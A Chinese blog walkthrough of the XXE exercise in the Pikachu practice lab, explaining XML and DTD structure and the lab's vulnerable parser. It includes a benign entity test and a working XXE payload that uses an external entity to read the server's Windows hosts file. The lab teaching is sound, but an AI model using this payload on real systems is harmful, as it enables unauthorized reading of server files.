皮卡丘(pikachu)XXE

天津曲艺团

已于 2023-03-14 09:38:15 修改

阅读量2.5k

点赞数 2

分类专栏：靶场网络安全 WriteUp 文章标签：网络安全

于 2021-07-23 10:25:02 首次发布

本文链接：https://blog.csdn.net/weixin_44787832/article/details/119025514

版权

15 篇文章 2 订阅

订阅专栏

14 篇文章 1 订阅

订阅专栏

13 篇文章 2 订阅

订阅专栏

XXE漏洞

第一部分：XML声明部分

<?xml version="1.0"?>

第二部分：文档类型定义 DTD

<!DOCTYPE note[

<!ENTITY entity-name SYSTEM "URI/URL">

第三部分：文档元素

<note>

<head>Reminder</head>

</note>

DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部.

DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。

使用payload

<?xml version = "1.0"?><!DOCTYPE note [    <!ENTITY hacker "天津曲艺团">]><name>&hacker;</name>

提交后，可以看到前端返回了我们在xml中的DTD定义变量的值

如果我们输入恶意的payload，通过外部实体引用从而去获取后台服务器的本地文件信息。（外部引用可以支持http，file，ftp等协议）

Payload:

<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">   ]> <x>&f;</x>

使用这样的方法我们就可以读取对应服务器的文件了

天津曲艺团

关注

专栏目录